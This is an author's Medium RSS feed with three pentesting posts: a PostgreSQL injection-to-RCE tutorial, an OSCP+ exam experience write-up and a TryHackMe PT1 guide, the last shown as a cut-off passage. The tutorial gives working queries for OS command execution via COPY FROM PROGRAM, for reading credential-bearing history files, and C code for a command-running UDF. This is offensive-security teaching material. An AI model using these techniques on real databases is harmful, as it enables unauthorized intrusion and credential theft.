<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aryan on Medium]]></title>
        <description><![CDATA[Stories by Aryan on Medium]]></description>
        <link>https://medium.com/@contact.aryan.here?source=rss-682250ab6c9b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*6NVlgwct1MntwBSG</url>
            <title>Stories by Aryan on Medium</title>
            <link>https://medium.com/@contact.aryan.here?source=rss-682250ab6c9b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 01:56:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@contact.aryan.here/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PostgreSQL injection, Dumping data, Privileges, reading files and RCE]]></title>
            <link>https://medium.com/@contact.aryan.here/postgresql-injection-dumping-data-privileges-reading-files-and-rce-9c4c464e9d71?source=rss-682250ab6c9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c4c464e9d71</guid>
            <category><![CDATA[postgresql]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Aryan]]></dc:creator>
            <pubDate>Sun, 23 Aug 2026 16:18:39 GMT</pubDate>
            <atom:updated>2026-08-23T16:39:44.310Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL injection to RCE in PostgreSQL is one of the cleaner privilege-escalation chains in Appsec, mostly because Postgres ships with legitimate features that read/write files and execute OS commands. The whole game is: get arbitrary SQL execution → check what your DB role is allowed to do → pick the mechanism that turns SQL into an OS command.</p><h3>Introduction</h3><p>Recently, I was involved in an assessment where a PostgreSQL database was used, and we managed to find an endpoint that allowed us to execute SQL queries without authentication. This vulnerability led to a complete application takeover, local file read, and remote code execution (RCE), all without any authentication. The severity of this finding highlights the potential impact of SQL injection vulnerabilities in PostgreSQL environments.</p><p>Throughout the assessment, I realized that while many people are familiar with RCE techniques in MySQL and MSSQL, fewer individuals are aware of the specific methods and risks associated with PostgreSQL. This article aims to bridge that knowledge gap and provide a comprehensive guide on escalating PostgreSQL injection to achieve local file read, write, and RCE.</p><p>In this article, we will focus on the techniques and steps required to escalate a PostgreSQL injection vulnerability into full-blown RCE. While we will not delve into the details of finding SQL injection vulnerabilities or crafting specific payloads, we will cover the essential concepts and practical methods that can be applied once an injection point has been identified.</p><h3>The Bridge from SQL Injection to Command Execution</h3><p>PostgreSQL supports <strong>stacked queries</strong> (multiple statements separated by ;) in many driver/language combos — this is the big enabler and a key difference from MySQL&#39;s mysqli, where stacking is usually blocked. If your injection point flows into a driver that allows multiple statements, you get:</p><pre>&#39;; &lt;arbitrary statement&gt;; --</pre><p>If you <em>can’t</em> stack, you’re not dead — you can still call functions inside UNION/subquery/boolean contexts. Functions like pg_read_file(), pg_ls_dir() return values, so a UNION-based injection can read files even without stacking. But full RCE almost always wants stacked queries or a context that lets you CREATE/COPY.</p><h3>Step Zero: Enumerate Your Privileges</h3><p>Before anything best course of action is determining version of DB, who you are running as and what can be done which this user, what privileges you have access to and which databases. Converting SQL injection to RCE completely depends on your privileges as privileges will decide your route. So it is crucial to enumerate privileges carefully before futhere exploitation.</p><p>Something to note different versions may have different roles (newer versions have more roles for more granular control of users) which are assigned to a newly created user.</p><p>Version can be enumerated by selecting `version()` method:</p><pre>select version();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhQkmR3goTILR4QByROwFA.png" /><figcaption>Version of running Database</figcaption></figure><p>Current user and session user can be enumerated by:</p><pre>SELECT current_user, session_user;</pre><p>Current users is the user which we are running as and session user is the user which started the connection and session with DB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*t9v2I7SYkgA4mPr4PGYw-A.png" /><figcaption>Current user we are running as</figcaption></figure><p>The SQL query SELECT usesuper FROM pg_user WHERE usename = current_user; is used to check whether the current user has superuser privileges in PostgreSQL.</p><p>Let’s break it down:</p><ul><li>pg_user is a system catalog table in PostgreSQL that stores information about database users.</li><li>usename is a column in the pg_user table that represents the name of the user.</li><li>usesuper is a boolean column in the pg_user table that indicates whether the user is a superuser or not.</li><li>current_user is a PostgreSQL function that returns the name of the user currently executing the query.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*w4nlWLDIRBP01SXvTzW22Q.png" /><figcaption>Response confirms we are running as super user</figcaption></figure><p>Response contains true confirming we have super user privileges.</p><p>What roles/privileges are available for our current user.</p><pre>SELECT rolname FROM pg_roles WHERE pg_has_role(current_user, oid, &#39;member&#39;);</pre><p>Breaking the query:</p><ol><li>SELECT rolename we want to retreive rolename.</li><li>FROM pg_roles : Table pg_roles contains information about roles.</li><li>WHERE pg_has_role(current_user, oid, &#39;member&#39;): This is the condition that filters the roles based on the current user&#39;s membership.</li></ol><ul><li>pg_has_role() is a PostgreSQL function that checks whether a role (first argument) is a member of another role (second argument).</li><li>current_user is a special function that returns the name of the currently executing user.</li><li>oid is a column in the pg_roles table that represents the unique object identifier of each role.</li><li>&#39;member&#39; is a privilege type that indicates the membership relationship between roles.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*aG65WyneoV7hwKOVaPacXQ.png" /><figcaption>Roles of current users</figcaption></figure><p>Response confirms that this user is database owner, can read everything and write to every directory what PostgreSQL is allowed. Also we can observe pg_execute_server_program meaning we can execute OS commands. This is perfect for RCE.</p><h3>Methods for Remote Code Execution (RCE)</h3><p>PostgreSQL has 3 methods for RCE which are quite different from each other and confusing for almost everyone learning this for the first time.</p><h4>Method 1: COPY FROM PROGRAM</h4><p>COPY FROM PROGRAM executes a command on underlying OS and reads the output into a table. Then you have to just read the contents of the table.</p><h4>Method 2: File Read/Write</h4><p>Here PostgreSQL provides us features to read or write to a file. This means we can read configuration files, write to file system (shell script or web shell).</p><h4>Method 3: User-Defined Functions (UDFs)</h4><p>PostgreSQL allows creating user-defined functions (UDFs) in various programming languages including C. So attacker creates a malicious functions in C which can execute a command.</p><p>Create a function -&gt; compile it into .so (linux) or .dll (windows). -&gt; Import this into PostgreSQL (CREATE FUNCTION) -&gt; RCE.</p><p><strong>Somewhat complicated but works when system admins harden systems partially. Only caveat is that we have to upload this library to the server.</strong></p><h3>Practical Demonstration</h3><h4>Method 1: COPY FROM PROGRAM</h4><p>As we discussed this will execute a command and enter the output into a table. Query looks something like:</p><pre>DROP TABLE IF EXISTS cmd_exec; <br>CREATE TABLE cmd_exec(output text); <br>COPY cmd_exec FROM PROGRAM &#39;id&#39;; <br>SELECT * FROM cmd_exec;</pre><p>Breaking this down. First we have to check if table with the name cmd_exec exists if it does delete it. Create a table with name cmd_exec (we will dump data into this table) column name is output and type is text.</p><p>Next copy output of ‘id’ command into this table and read the table to read the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wdg0G1YpNlj6g2T2uSaZLg.png" /></figure><p>Although there is also COPY … TO PROGRAM which allows us to write parameter to stdin of the command. But for our case we dont need this because we can just execute commands with flags parameters in our demo case and for a simple domo it is skimpily not required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lDdGMB9p66xZFEOUO3_bnQ.png" /><figcaption>“Output of the ‘ls -la’ command executed using COPY FROM PROGRAM</figcaption></figure><p>Output of ls -la command.</p><p>NOTE: Because we are piping output of a command into a table and reading the table it is a good practice to drop the table (delete) after we are done with testing.</p><pre>SELECT tablename FROM pg_tables WHERE schemaname = &#39;public&#39;;<br><br># DELETE TABLE<br>DROP TABLE cmd_exec;</pre><h4>Method 2: File Read/Write</h4><p><strong>Listing contents of directory </strong>:</p><pre>SELECT pg_ls_dir(&#39;/var/lib/postgresql&#39;);</pre><p>pg_ls_dir is the function and the directory which we wish to list is the parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*zo4AhYLkQvmoCNuLX1FkOQ.png" /><figcaption>Listing PostgreSQL home directory and reading the .psql_history file</figcaption></figure><p><strong>Read</strong> (great for UNION-based contexts since these return values):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yPdTaktRn-QTc8lQ7OjQmA.png" /><figcaption>Content of PostgreSQL file reviles clear text credentials</figcaption></figure><pre>SELECT pg_read_file(&#39;/var/lib/postgresql/.psql_history&#39;);</pre><p>pg_read_file is the function and path to file is the parameter</p><p><strong>Write</strong>:</p><pre>SELECT pg_write_file(&#39;/tmp/test.txt&#39;, &#39;This is a test line&#39;, true);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IAVZbeAswaxQjV15CSa6LQ.png" /><figcaption>Write to a file failes because of limitations</figcaption></figure><p>pg_write_file is the function and which file we have to write to is the parameter. But for some reason pg_write_file is not available despite wirte permissions. A walk around would be using COPY … TO PROGRAM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*fPTPlxx5WhqlU0HdLSUhdg.png" /><figcaption>echo into /tmp/test.txt</figcaption></figure><p>Result /tmp/test.txt was created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*40gl7Rb9cCJW4SGARAX7jg.png" /><figcaption>We can see that /tmp/test.txt was created</figcaption></figure><h4>Method 3: User-Defined Functions (UDFs)</h4><p>The classic sqlmap approach. Write a malicious .so (Linux) / .dll (Windows) to disk using lo_export or COPY, then bind a function to a symbol in it:</p><p><strong>Step 1</strong>: List out the languages which are available</p><pre>SELECT lanname, lanacl FROM pg_language;</pre><p>Understanding the query: The pg_language is a table which stores information about which languages are available for creating functions, Stored Procedures and triggers in DB. We are just selecting lanname is name of language, lanacl means which privileges granted to roles for using this language (basically ACL).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*RtETDKAqynBzyOVtAZHnbw.png" /><figcaption>Listing available languages for UDFs</figcaption></figure><p><strong>Step 2</strong>: Create C code</p><pre>#include &lt;postgres.h&gt;<br>#include &lt;fmgr.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;utils/builtins.h&gt;<br><br>#ifdef PG_MODULE_MAGIC<br>PG_MODULE_MAGIC;<br>#endif<br><br>PG_FUNCTION_INFO_V1(udf_payload);<br><br>Datum udf_payload(PG_FUNCTION_ARGS) {<br>    system(&quot;id &gt; /dev/shm/id.txt&quot;);<br>    PG_RETURN_TEXT_P(cstring_to_text(&quot;UDF executed successfully&quot;));<br>}</pre><p>This code defines a UDF named udf_payload that executes the id command using the system() function and outputs the result into /dev/shm/id.txt</p><p>NOTE: Some specifics for the C code depend on version, installation and addons of PostgreSQL.</p><p>Step 2: Compile C code and transfer to the server</p><pre>gcc -I$(pg_config --includedir-server) -fPIC -shared -o udf_payload.so udf_payload.c</pre><p>Make sure you have the PostgreSQL development libraries installed (postgresql-devel or libpq-dev package).</p><p>Copy the compiled udf_payload.so file to a directory accessible by PostgreSQL, such as the PostgreSQL library directory (e.g., /usr/lib/postgresql/&lt;version&gt;/lib/ or /tmp/).</p><pre>   CREATE FUNCTION udf_payload() RETURNS text<br>   AS &#39;/path/to/udf_payload.so&#39;, &#39;udf_payload&#39;<br>   LANGUAGE C STRICT;</pre><p><strong>Step 3</strong>: Execute UDF to trigger code execution</p><pre>SELECT udf_payload();</pre><p><strong>Step 4</strong>: Drop the function (clean up)</p><pre>DROP FUNCTION udf_payload();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OIoWggAEfm9JF6TzMkuzlw.png" /><figcaption>Compiling, importing, and calling the udf_payload function</figcaption></figure><p>Compiling, importing and calling the udf_payload function should have created id.txt file in /dev/shm with output of id command which is conformed with cat command.</p><p>Hence we have covered all the three major remote code execution paths in PostgreSQL.</p><h3>Conclusion</h3><p>In this blog post, we explored the process of escalating SQL injection to local file read, write, and remote code execution (RCE) in PostgreSQL. We discussed three different methods: COPY FROM PROGRAM, file read/write primitives, and User-Defined Functions (UDFs). Each method has its own capabilities and challenges, but they all demonstrate the potential severity of SQL injection vulnerabilities when exploited.</p><p><strong>NOTE</strong>: None of the screenshots are from the actual assessment.</p><p>My Linkedin : <a href="https://www.linkedin.com/in/aryan-gupta-cyber/">https://www.linkedin.com/in/aryan-gupta-cyber/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c4c464e9d71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP+ Exam 2026: Strategy, Reporting, Tips , and Lessons]]></title>
            <link>https://medium.com/@contact.aryan.here/oscp-exam-2026-strategy-reporting-tips-and-lessons-484363f29f6c?source=rss-682250ab6c9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/484363f29f6c</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Aryan]]></dc:creator>
            <pubDate>Mon, 25 May 2026 14:23:16 GMT</pubDate>
            <atom:updated>2026-06-05T05:37:48.154Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*9Bh58C6mPgwnBNurn-Kh0w.png" /><figcaption>My OSCP+ cetificate</figcaption></figure><p>Recently I got my OSCP exam scheduled and I cleared it. Because there’s so much tension around the exam, I think I can shed some light on the exam sharing my experience and give some tips for preparation and mindset for preparation and exam.</p><h4>Who This Is For</h4><p>I came into OSCP+ with about three years of backend and full-stack development experience and <strong>no prior professional pentesting background</strong>. If you’re a developer thinking about making the switch into offensive security or just someone trying to figure out whether OSCP is worth it this is for you. I’m going to be honest about what worked, what didn’t, and where I actually struggled.</p><p>My main reason for taking this exam was having a foothold for interviews and HRs/recruiters (it is highly recognized by recruiters and HR teams).</p><h4>Preparation What I Actually Did</h4><p>Before starting PEN-200 itself, I first built a foundation in Linux and Windows privilege escalation and Active Directory (I was already familiar with basic exploitation ang ganing access). Linux and Windows privilege escalation from HackTheBox Academy. Active Directory from TryHackMe. The OffSec PEN-200 course material cover to cover. I covered a few topics every days every day or every other day. I was slow and consistent. <strong>Consistency beats sprinting</strong> and understanding topics well is required for OSCP.</p><p>After that I worked through most of the Lainkusanagi OSCP-Like list and the TJ Null list methodically, not just to finish them. Every time I got stuck or missed something, I noted it down in a personal cheat sheet. Not just concepts actual commands, one-liners, and reminders like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*-qup_nGhSTE3KDlnSZmHsQ.png" /><figcaption>My Notes example 1</figcaption></figure><pre>· Add headers in POST requests <br>· Check for subdomains <br>· Use default passwords first<br><br>grep nexus /usr/share/seclists/Passwords/Default-Credentials/* -r<br><br>Scan UDP <br>· Build custom wordlists (cewl command)<br>· Read ALL scan output, not just the obvious parts<br><br>· Client side attacks. If applications contains file upload.<br>· Will some user open it?<br>· Can this give us a reverse shell or leak NTMLv2 hash</pre><p>This cheat sheet became my most valuable resource. Not because it replaced understanding but because it captured <strong>my specific weak points</strong> from real practice. That’s something no course can give you.</p><p>One rule I kept strictly: no hints, no writeups until you’ve fully surrendered on a machine. <strong>It is better to fail 10 times in practice than once in the exam</strong>. Also it is good to refer to official writeups and Ippsec videos after you are done with a box. Ippsec videos are especially good for developing methodology because the guy solves the boxes in front of you without knowing at the solution. So you can just copy his methodology and use that for the machines.</p><h4>Mock Exams — Treat Them Like the Real Thing</h4><p>Before scheduling the exam I ran multiple timed mock exams: 3–4 standalone machines and 1–2 AD machines, 24-hour window, self-imposed. The point wasn’t just to practice hacking it was to practice the full process including writing the report after.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*QGsOuq7xMv7G1ziI9fOM9Q.png" /><figcaption>HackTheBox machines for Mock Exam</figcaption></figure><p>I prepared a full mock report three times. Each time it revealed mistakes I would have made in the real exam screenshots missing context, steps that didn’t reproduce cleanly from notes, commands I’d run but not documented. Preparing the report under pressure before the real exam meant that by exam day, report writing was mostly a mechanical task of replacing text, steps, and images. Also I pretended like someone was watching me through the web cam (preparing mentally for proctor).</p><h4>Scheduling and Exam Start</h4><p>Scheduling is straightforward through the OffSec portal pick a date, pick a time, done. I chose 10 AM deliberately. <strong>Not so early that I’d be groggy, not late enough that burnout would hit</strong> me during the hardest stretch. You want your sharpest hours overlapping with the first 4–6 hours of the exam overlapping with 1 stand alone machine and Active directory set.</p><p>At your scheduled time you receive an email with your VPN pack and exam control panel access after the proctor verifies you and starts the exam. Verify, connect, and the timer starts. It’s 23 hours 45 minutes not 24, so don’t waste that 15 minutes being confused.Proctor is always watching you through the web cam and watching your monitors. So not cheating or using LLM is possible. But the experience of being proctored was nothing scary. Felt a little weird initially though.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*rfz54OYJPPQOLdwb.gif" /></figure><p>The proctor may ask you to verify your internet connection, re-share your screen, and check your webcam during the exam. This is normal but I panicked. Get it done calmly and move on.</p><p>I was nervous. Couldn’t sleep the night before despite preparing a lot. Once the first scan started running, the nerves settled. Muscle memory takes over. Action kills anxiety.</p><p>I felt underprepared going in. I think most people do. If you’ve put in the work, that feeling is a liar.</p><h4>The Exam Day — How It Went</h4><p><strong>Standalone machine 1</strong>: By chance, this was the hardest. Threw a huge amount of information at me — lots of ports, lots of services, classic OSCP overload. I was fresh so I could handle the overwhelm. Key mindset: do not spiral. I actually told myself that if this is the hardest machine, the <strong>rest is downhill from here</strong>. That mind trick helped more than I expected. Took 2–2.5 hours to get initial foothold (after a lot of enumeration and testing). Found a privilege escalation vulnerability but couldn’t fully exploit it under pressure. Moved on.</p><p><strong>Standalone machine 2</strong>: Found stuff I genuinely didn’t know what to do with. Made the call to move on quickly. No point burning time on something I had no read on (learned from experience). Left it for later.</p><p><strong>Standalone machine 3</strong>: Easy machine. Got initial access in 15 min or less. Found the privilege escalation vulnerability but again couldn’t exploit it cleanly. This exposed a real gap in my priv esc skills under exam pressure -something I’d been decent at in labs but struggled to execute when tired and frustrated.</p><p>After 5 hours across the standalones I had 20 points only. Burnout was starting to creep in. I took a proper break ,ate lightly (don’t eat heavy, it makes you sluggish), stepped away from the screen, rested for half an hour, came back after food and coffee. Feeling a lot better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*taOqUJHXzHTgF6n6" /><figcaption>Stay as calm as possible during the exam</figcaption></figure><p>My point is this game has psychological element. You can looses even though you could have cleared this exam. I’ve read enough failed attempt write-ups to notice a pattern: people who failed often write things like “I couldn’t even do the most basic thing” or “my mind went blank.” People who passed write things like “I came back after a break and figured it out in 20 minutes” or “it wasn’t as hard as I expected.” The machines didn’t change. The person did.</p><p><strong><em>Don’t let pressure compound into paralysis.</em></strong></p><h4>Active Directory — Where the Exam Turned</h4><p><strong>AD machine 1</strong>: Initial credentials were provided (assumes breach scenario). Privilege escalation was niche. I found blogs explaining the technique but they all used Metasploit. I chose not to use Metasploit here. My reasoning ‘post/multi/recon/local_exploit_suggester’ is what Metasploit is genuinely worth saving for (from my experience). Using it for initial access or simple privesc is overkill. Found the manual method, rooted the machine.</p><p>Because I didn’t want to backtrack, I spent over an hour enumerating this machine thoroughly after rooting it. There was a lot of interesting data. But the very first piece of information I’d found after becoming administrator turned out to be the key to machine 2 (Time wasted, I overestimated AD set).</p><p><strong>AD machine 2</strong>: Got in using the info from machine 1. Privilege escalation was almost too easy. Eventually I was able to escalate privileges within the AD environment. Domain admin achieved.</p><p>At this point I had 60 points. Needed 10 more to pass. I relaxed. Active directory set was too easy (or maby I got lucky). Because the AD set is worth 40 points, tackle it while you are still mentally fresh.</p><p>Took a long break, ate, came back feeling genuinely good. Went back to standalone machine 2 with fresh eyes. Got initial access in 30 minutes. Something I never would have guessed gave me access (OffSec really puts thought into their exam design). Privilege escalation was straightforward but tedious. 80 points.</p><p>Couldn’t crack the remaining two standalones priv esc ,a mix of burnout and those genuine priv esc gaps. Used the remaining time to go back through my steps, clean up notes, and prepare for the report. Although I did not expect to find initial access on all machines and local privilege escalation vector on all machines (even though I could not become root on all boxes).</p><p><strong>Lesson</strong>: Do one standalone, then move to the AD set. Don’t grind standalones into burnout before you’ve touched AD. AD gave me 40 points in a focused run (in a very short time and with low effort, maybe I got lucky).</p><h4>Reporting — The Part People Neglect</h4><p>Most people prepare extensively for the exploitation portion of OSCP and barely think about the report. This is a mistake. The report is worth as much as the hacking itself, and <strong>mistakes are permanent </strong>.You cannot go back and redo machines after the 24-hour VPN closes.</p><p>Also use already made reports for OSCP which are available online. I used reports provided on this page. Link : <a href="https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements">https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements</a></p><p>My note structure during the exam was simple:</p><ul><li>One page per machine in Obsidian</li><li>Sections: Initial scan → Enumeration → Initial access → Local enumeration → Privilege escalation → Flags</li></ul><p>The local enumeration and documentation section is more important than people think. I documented everything that could possibly be relevant — not just what looked useful at the time. In a multi-machine AD environment, something you find on machine 1 might unlock machine 2 an hour later. You won’t remember it unless it’s written down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Lveuqbt0p8i9vL4zkYTDlA.png" /><figcaption>Eg. Storing outputs of commands</figcaption></figure><p>For screenshots: capture every command and its output, including failed attempts that show you understood the path. Always capture the flag with ipconfig or ip a , whoami and cat /path/to/flag in the same frame - OffSec requires proof of context. Screenshot every credential, config file, or piece of evidence you used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*Z8CfEYtiiJntaS7NzRQ9bw.png" /><figcaption>Eg. Screenshot of a command output</figcaption></figure><p>Because I had practiced reporting three times before the exam, by the time I sat down to write the real one, it was largely mechanical replace text, swap in screenshots, verify commands reproduce from notes. The report still took 6 hours with breaks.</p><p>Think of it this way: if your notes are good and you have practices before hand, your report is 80% written before you open the template.</p><h4><strong>Results</strong></h4><p>I submitted my report and waited. OffSec says results take up to 10 business days. Mine came back in 2 days. I passed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*Lo51w9A9KuST1RYWC508RA.png" /></figure><p>The feeling when the email arrived was worth every hour of preparation. Took me sometime to believe that I really passed (I heard too many online stories about people failing).</p><h4>Key Takeaways</h4><ul><li><strong>Failing 10 times in practice is better than failing the exam</strong>. Never look at hints until you’ve fully surrendered on a machine.</li><li>Build a personal cheat sheet from your real weak points, not generic tips.</li><li>Do one standalone, then move to AD. Don’t burn out before the 40-point section.</li><li>Enumerate fully. Read everything. Note everything. Something useless at hour 2 might matter at hour 10.</li><li>Save Metasploit for local_exploit_suggester (this is powerful, Metasploit is over kill for initial access). Don’t waste your shot on initial access.</li><li>Practice the report 3 times. <strong>Mistakes in the real report are permanent</strong>.</li><li>Take real breaks. Eat light. Burnout is a real exam factor, not an excuse.</li><li>Feeling underprepared before the exam is normal. If you’ve done the work, just go through with it.</li><li>Enumerate things which look generic or useless. Backtracking can be extremely demoralizing and exhausting.</li><li>In case u are stuck you can search that vulnerability or software with the keyword CTF online or even better <a href="https://ippsec.rocks/">https://ippsec.rocks/</a> . This is literally a cheat code.</li></ul><h4>The Mindset I Recommend</h4><p>The exam does not test whether you memorised the course. It tests whether you can think and figure it out. Machines will throw a lot of information at you — a lot of ports or applications in sub-directory. What will you focus on? <strong>Bad enumeration doesn’t just slow you down, it means you never get a foothold at all.</strong></p><p>The exam checks whether you can navigate unfamiliar services, applications, and situations independently. Hypothetical example If GPO abuse is the path forward in the AD set, can you work it out independently? The course mentions it but doesn’t walk you through it. Look far and wide for exploits. Finding an exploit for local file read doesn’t mean that’s all there is. There may be a separate RCE, an IDOR, or a misconfiguration that turns local file read into remote file inclusion. Don’t stop at the first exploit you find.</p><p>Rabbit holes are real — but don’t assume something is one. Some information is waste of time. Good enumeration also means avoiding rabbit holes.</p><p>Remember to manage time. You have <strong>only 24 hrs but 24 hrs managed well is more than enough</strong>.</p><p>If you have worked through the OSCP-like lists seriously, you are more ready than you feel. Here is a useful reality check: if someone handed you the solutions right now, almost every machine would feel easy to intermediate. Only one, maybe two, would feel genuinely hard. The difficulty is not the machines it is doing it alone, under pressure, on a timer. That is what you have been training for.</p><h4>What I Would do Differently</h4><p>After completing one standalone machine I would move directly to Active Directory section. Reason for completing one standalone machine is warming up and getting in hacking flow state meaning enumerating fully, exploiting, documenting and then moving to section which has most points like a well lubricated machine.</p><p>First machine should make a good warmup even if it take 3 or 4 hours you can just take a break and come back fresh for the Active directory set. This alone can get you 50 to 60 points. In my opinion, this is one of the best ways to manage energy throughout the exam.</p><p>A well-prepared candidate can realistically gain 50–60 points from this approach alone, especially because many candidates find the AD set more straightforward than the standalone machines.</p><p><strong>NOTE</strong>: None of the screenshots are from the actual exam its self.</p><p>My Linkedin : <a href="https://www.linkedin.com/in/aryan-gupta-cyber/">https://www.linkedin.com/in/aryan-gupta-cyber/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=484363f29f6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe PT1 Exam Guide — What Actually Works]]></title>
            <link>https://medium.com/@contact.aryan.here/how-i-passed-the-tryhackme-pt1-tips-that-actually-matter-7176d12ddf90?source=rss-682250ab6c9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7176d12ddf90</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme-pt-1]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Aryan]]></dc:creator>
            <pubDate>Mon, 30 Mar 2026 15:37:15 GMT</pubDate>
            <atom:updated>2026-05-31T14:11:48.851Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*QJ1hhGm5YWsA2xZmlNcT9A.png" /></figure><h3><strong>What is PT1?</strong></h3><p>TryHackMe’s PT1 (Junior Penetration Tester) is an entry-level certification requiring you to demonstrate fundamentals across web application security, network penetration testing, and Active Directory attacks. It’s a real-world pentest simulation, including a structured report graded by AI. You have 48 hours and need at least 750/1000 points to pass. Web is worth 400 points, Network 360, and AD 240. You also get one free retake.</p><p><strong>My personal difficulty ranking:</strong> Web &gt; Network &gt; AD — but I could have failed any of them or all of them if I was not serious about exam.</p><h3>Web Application</h3><p>This is the hardest section due to its size and the number of features to test. But fortunately for us the exam provides us with list of bugs which we have to look for.</p><p><strong>Methodology that worked:</strong></p><ul><li>First, understand what the application does as a whole before attempting exploitation.</li><li>Map every feature on every page. For each feature, ask: <em>what can this do, and what can I do with it?</em> A login/signup/password reset form isn’t just for SQL releated attacks — it could be XSS, brute force, account enumeration, and more.</li><li>Route all traffic through Burp Suite from the start. It auto-generates a map of both the frontend and backend without any extra effort. But don’t forget directory busting.</li><li>Create multiple accounts and test vulnerabilities cross-account (IDOR being the obvious one).</li><li>Work from a checklist. Copy your bug list into your notes, work through one feature at a time, check off what you’ve tested, then move on. Sequential testing saves hours.</li><li>Ask you self what I can do with this feature?</li></ul><p><strong>Key things I learned the hard way:</strong></p><ul><li>I found some exploitable vulnerabilities that don’t yield flags. Don’t let that spiral into a rabbit hole. Also I chased a race condition for too long — grouped requests were slow, looked suspicious, but it was a dead end (but this bug could exist elsewhere).</li><li>Flags can be partial. Other half will be provided from some other end point or vulnerability. Overlapping characters help you join them.</li></ul><h3>Network (2 Machines — 1 Linux, 1 Windows)</h3><p>The machines themselves aren’t hard. The danger is tunnel vision and lack of enumeration.</p><ul><li>On the Linux box, I spent 5.5 hours on initial foothold because I ignored simple, obvious information and got lost in noise the running application was generating. <strong>Read what the box is telling you.</strong></li><li>Enumerate and connect dots that complex analysis misses.</li><li>When stuck, backtrack and re-read your notes from the start.</li><li>On the Windows machine, I found an alternate privilege escalation path. I avoided it intentionally — the report is AI-graded, and it expects the intended path. Stick to the obvious route.</li></ul><p>Enumerate, connect the dots, backtrack if stuck for too long avoid tunnel vision for too long on a single thing.</p><h3>Active Directory</h3><p>Felt straightforward to me, likely because I had prepared specifically for it. But it has layers — it’s not purely AD, it’s a mix of AD, Windows fundamentals, and basic enumeration and exploitation.</p><p>Get comfortable with tools like nxc, bloodhound, sharphound, bloodhound python, impacket. Understand working, enumeration and exploitation of AD environments from the learning paths in detail.</p><p><strong>The most important lesson:</strong> Treat this like a real engagement, not a CTF. You cannot reset user passwords or disrupt services. If you would normally do something in a CTF that changes account state, find a non-destructive alternative. The AI grader may penalise you for it. Practise non-disruptive methods before exam day.</p><p><strong>Tunnelling:</strong> Ligolo-ng didn’t work for me, SSH tunnelling didn’t work either. <strong>Chisel worked.</strong> Have all three ready and don’t waste time on one if it’s failing.</p><h3>Reporting — Don’t Leave It Until the End</h3><p>This cost me points and I’m certain it costs many others too.</p><ul><li>Report each vulnerability and machine as soon as you finish it. Don’t wait until the end. Retracing steps hours later is slower and less accurate.</li><li>The report is not a document — it’s a structured panel with dropdowns to select vulnerability type, plus separate text boxes for reproduction steps and remediation(not for AD).</li><li><strong>The vulnerability dropdown matters a lot.</strong> Hypothetical example I found a vulnerability that was technically “local file read” caused by outdated software. In confusion I selected outdated software. I lost points. Selecting the wrong category loses points, even if your exploitation steps are correct. Think about the root cause, not just 